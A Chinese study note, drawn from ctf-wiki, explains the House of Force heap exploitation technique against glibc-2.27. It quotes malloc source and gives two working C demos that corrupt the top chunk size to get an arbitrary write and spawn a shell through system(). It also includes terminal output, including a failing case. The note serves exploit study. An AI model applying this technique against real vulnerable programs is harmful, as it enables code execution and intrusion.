House Of Force 漏洞笔记

资料来源:ctf-wiki

原理

House Of Force 是一种堆利用方法,但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。如果一个堆 (heap based) 漏洞想要通过 House Of Force 方法进行利用,需要以下条件:

  1. 能够以溢出等方式控制到 top chunk 的 size 域
  2. 能够自由地控制堆分配尺寸的大小

House Of Force 产生的原因在于 glibc 对 top chunk 的处理,根据前面堆数据结构部分的知识我们得知,进行堆分配时,如果所有空闲的块都无法满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。

那么,当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案是,可以使得 top chunk 指向我们期望的任何位置,这就相当于一次任意地址写。然而在 glibc 中,会对用户请求的大小和 top chunk 现有的 size 进行验证:

截取自glibc-2.27

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize (victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
  {
    remainder_size = size - nb;
    remainder = chunk_at_offset (victim, nb);
    av->top = remainder;
    set_head (victim, nb | PREV_INUSE |
              (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head (remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
  }

例子

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct malloc_chunk
{
    size_t prev_size; /* Size of previous chunk (if free).  */
    size_t size;      /* Size in bytes, including overhead. */

    struct malloc_chunk *fd; /* double links -- used only if free. */
    struct malloc_chunk *bk;

    /* Only used for large blocks: pointer to next larger size.  */
    struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
    struct malloc_chunk *bk_nextsize;
};

char sh[0x10] = "id";

int main()
{
    char *p = NULL, *any_anddress = NULL;
    struct malloc_chunk *controllable_chunk = NULL, *top_chunk = NULL;

    controllable_chunk = (struct malloc_chunk *)((char *)malloc(0x10) - sizeof(size_t) * 2);
    top_chunk = (struct malloc_chunk *)((char *)controllable_chunk + ((controllable_chunk->size) & 0xfffffff0));

    // 计算目标地址和top_chunk的距离
    // 不能打印到输出流中,否则会影响top_chunk的值
    fprintf(stderr,"The diff of target between top_chunk is 0x%lX.\n",(char *)top_chunk - sh);

    top_chunk->size = -1;                      // <=== 这里把top chunk的size域改为0xffffffffffffffff
    p = malloc(sh - (char *)top_chunk - 0x20); // <=== 减小top chunk指针
    any_anddress = malloc(0x10);               // <=== 分配块实现任意地址写


    strcpy(any_anddress, "/bin/sh");
    system(sh);

    return 0;
}

不能打印到输出流中,否则会影响top_chunk的值,效果如下:

ex@ubuntu:~/test$ gcc -g demo.c -o demo
ex@ubuntu:~/test$ ./demo
The diff of target between top_chunk is 0x1D95FD0.
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ 

特别注意

我们需要注意的是,topchunk 的 size 也会更新,其更新的方法如下:

remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
          (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

所以,如果我们想要下次在指定位置分配大小为 x 的 chunk,我们需要确保 remainder_size 不小于 x+ MINSIZE。也就是要劫持的地址要和top_chunk的地址足够的大,否则就会像下面这样。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct malloc_chunk
{
    size_t prev_size; /* Size of previous chunk (if free).  */
    size_t size;      /* Size in bytes, including overhead. */

    struct malloc_chunk *fd; /* double links -- used only if free. */
    struct malloc_chunk *bk;

    /* Only used for large blocks: pointer to next larger size.  */
    struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
    struct malloc_chunk *bk_nextsize;
};

int main()
{
    char *p = NULL, *any_anddress = NULL;
    struct malloc_chunk *controllable_chunk = NULL, *top_chunk = NULL;

    char *sh = malloc(0x10);

    controllable_chunk = (struct malloc_chunk *)((char *)malloc(0x10) - sizeof(size_t) * 2);
    top_chunk = (struct malloc_chunk *)((char *)controllable_chunk + (controllable_chunk->size & 0xfffffff0));

    // 计算目标地址和top_chunk的距离
    // 不能打印到输出流中,否则会影响top_chunk的值
    fprintf(stderr, "The diff of target between top_chunk is 0x%lX.\n", (char *)top_chunk - sh);

    top_chunk->size = -1;                      // <=== 这里把top chunk的size域改为0xffffffffffffffff
    p = malloc(sh - (char *)top_chunk - 0x20); // <=== 减小top chunk指针
    any_anddress = malloc(0x10);               // <=== 分配块实现任意地址写

    strcpy(any_anddress, "/bin/sh");

    system(sh);

    return 0;
}

执行结果:

ex@ubuntu:~/test$ gcc -g demo2.c -o demo2
ex@ubuntu:~/test$ ./demo2
The diff of target between top_chunk is 0x30.
demo2: malloc.c:2394: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
Aborted (core dumped)

总结

遇到困难要多尝试才会有收获。